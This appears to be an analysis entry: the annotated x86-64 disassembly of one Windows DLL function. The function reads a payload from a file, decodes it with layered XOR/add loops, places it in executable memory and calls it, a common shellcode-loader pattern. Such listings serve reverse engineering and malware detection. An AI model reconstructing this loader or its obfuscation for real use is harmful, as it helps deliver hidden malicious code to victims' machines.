Function at 0x180001fe0
Capabilities:
Encode data using xor
Get file size
Read file on windows
Write file on windows

Disassembly:
push rsi
push r13
sub rsp, 0x88
mov rax, qword [0x18003f018]
xor rax, rsp
mov qword [rsp + 0x60], rax
call fcn.180001ee0
xor r13d, r13d
lea rcx, [0x1800396a0]
mov qword [rsp + 0x30], r13
xor r9d, r9d
mov dword [rsp + 0x28], 0x80
xor r8d, r8d
mov edx, 0x80000000
mov dword [rsp + 0x20], 3
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov rsi, rax
cmp rax, 0xffffffffffffffff
je 0x1800023f4
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetFileSize]
cmp eax, 0x40e09
jb 0x180002424
mov qword [rsp + 0xa0], rbx
mov ecx, 0x40e09
mov qword [rsp + 0xa8], rbp
lea ebp, [rax - 0x40e09]
mov qword [rsp + 0xb0], rdi
mov qword [rsp + 0x80], r12
mov qword [rsp + 0x78], r14
mov qword [rsp + 0x70], r15
call fcn.180008124
mov ecx, ebp
mov r15, rax
mov r12d, ebp
call fcn.180008124
lea r9, [rsp + 0x40]
mov dword [rsp + 0x40], r13d
mov r8d, 0x40e09
mov qword [rsp + 0x20], r13
mov rdx, r15
mov rcx, rsi
mov r14, rax
call qword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x18000240e
cmp dword [rsp + 0x40], 0x40e09
jne 0x18000240e
xor r9d, r9d
xor r8d, r8d
mov edx, 0x40e09
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
cmp eax, 0xffffffff
je 0x18000240e
mov ebx, ebp
mov rdi, r14
test ebp, ebp
je 0x180002134
nop dword [rax]
lea r9, [rsp + 0x40]
mov qword [rsp + 0x20], r13
mov r8d, ebx
mov rdx, rdi
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x18000240e
mov ecx, dword [rsp + 0x40]
test ecx, ecx
je 0x18000240e
add rdi, rcx
sub ebx, ecx
jne 0x180002100
mov ebx, r13d
mov edx, ebx
call fcn.180002430
mov rcx, rax
call fcn.180004c00
inc ebx
cmp ebx, 0xa
jl 0x180002137
mov ebx, r13d
mov edx, ebx
call fcn.180002430
mov rcx, rax
call fcn.180004c00
inc ebx
cmp ebx, 0xa
jl 0x180002150
mov ebx, r13d
nop dword [rax]
mov edx, ebx
call fcn.180002430
mov rcx, rax
call fcn.180004c00
inc ebx
cmp ebx, 0xa
jl 0x180002170
mov ebx, r13d
nop dword [rax]
mov edx, ebx
call fcn.180002430
mov rcx, rax
call fcn.180004c00
inc ebx
cmp ebx, 0xa
jl 0x180002190
mov ebx, r13d
nop dword [rax]
mov edx, ebx
call fcn.180002430
mov rcx, rax
call fcn.180004c00
inc ebx
cmp ebx, 0xa
jl 0x1800021b0
mov ebx, r13d
nop dword [rax]
mov edx, ebx
call fcn.180002430
mov rcx, rax
call fcn.180004c00
inc ebx
cmp ebx, 0xa
jl 0x1800021d0
mov ebx, r13d
nop dword [rax]
mov edx, ebx
call fcn.180002430
mov rcx, rax
call fcn.180004c00
inc ebx
cmp ebx, 0xa
jl 0x1800021f0
mov ebx, r13d
nop dword [rax]
mov edx, ebx
call fcn.180002430
mov rcx, rax
call fcn.180004c00
inc ebx
cmp ebx, 0xa
jl 0x180002210
movdqa xmm2, xmmword [0x180039710]
mov rcx, r15
mov eax, 0x40e0
nop word [rax + rax]
movdqu xmm0, xmmword [rcx]
movdqa xmm1, xmm2
pxor xmm1, xmm0
paddb xmm1, xmm2
pxor xmm1, xmm2
paddb xmm1, xmm2
pxor xmm1, xmm2
paddb xmm1, xmm2
pxor xmm1, xmm2
movdqu xmmword [rcx], xmm1
add rcx, 0x10
sub rax, 1
jne 0x180002240
lea edx, [rax + 9]
nop word [rax + rax]
movzx eax, byte [rcx]
lea rcx, [rcx + 1]
xor al, 0xc0
sub al, 0x40
xor al, 0xc0
sub al, 0x40
xor al, 0xc0
sub al, 0x40
xor al, 0xc0
mov byte [rcx - 1], al
sub rdx, 1
jne 0x180002280
mov rcx, r14
mov eax, r13d
test ebp, ebp
je 0x18000231e
cmp ebp, 0x10
jb 0x1800022f7
mov edx, ebp
and edx, 0xfffffff0
nop dword [rax]
nop word [rax + rax]
movdqu xmm0, xmmword [rcx]
add eax, 0x10
movdqa xmm1, xmm2
pxor xmm1, xmm0
paddb xmm1, xmm2
pxor xmm1, xmm2
paddb xmm1, xmm2
pxor xmm1, xmm2
paddb xmm1, xmm2
pxor xmm1, xmm2
movdqu xmmword [rcx], xmm1
add rcx, 0x10
cmp eax, edx
jb 0x1800022c0
cmp eax, ebp
jae 0x18000231e
sub ebp, eax
mov edx, ebp
nop dword [rax + rax]
movzx eax, byte [rcx]
lea rcx, [rcx + 1]
xor al, 0xc0
sub al, 0x40
xor al, 0xc0
sub al, 0x40
xor al, 0xc0
sub al, 0x40
xor al, 0xc0
mov byte [rcx - 1], al
sub rdx, 1
jne 0x180002300
lea r8, [0x1800396a4]
mov qword [rsp + 0x48], r13
lea rdx, [0x1800396a8]
lea rcx, [rsp + 0x48]
call fcn.180010788
test eax, eax
jne 0x18000235c
mov r9, qword [rsp + 0x48]
lea edx, [rax + 1]
mov r8, r12
mov rcx, r14
call fcn.180010648
mov rcx, qword [rsp + 0x48]
call fcn.18000e97c
mov qword [rsp + 0x50], r13
mov qword [rsp + 0x58], 0x40e09
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov dword [rsp + 0x28], 0x40
lea r9, [rsp + 0x58]
mov rcx, rax
mov dword [rsp + 0x20], 0x3000
xor r8d, r8d
lea rdx, [rsp + 0x50]
mov rbx, rax
call qword [0x1800419c0]
mov rcx, qword [rsp + 0x50]
mov r8d, 0x40e09
mov rdx, r15
call fcn.18000a060
call qword [rsp + 0x50]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, r15
call fcn.1800080e0
mov r14, qword [rsp + 0x78]
mov r12, qword [rsp + 0x80]
mov rdi, qword [rsp + 0xb0]
mov rbp, qword [rsp + 0xa8]
mov rbx, qword [rsp + 0xa0]
mov r15, qword [rsp + 0x70]
xor eax, eax
mov rcx, qword [rsp + 0x60]
xor rcx, rsp
call fcn.1800080c0
add rsp, 0x88
pop r13
pop rsi
ret
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, r15
call fcn.1800080e0
mov rcx, r14
jmp 0x1800023c5
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x1800023f4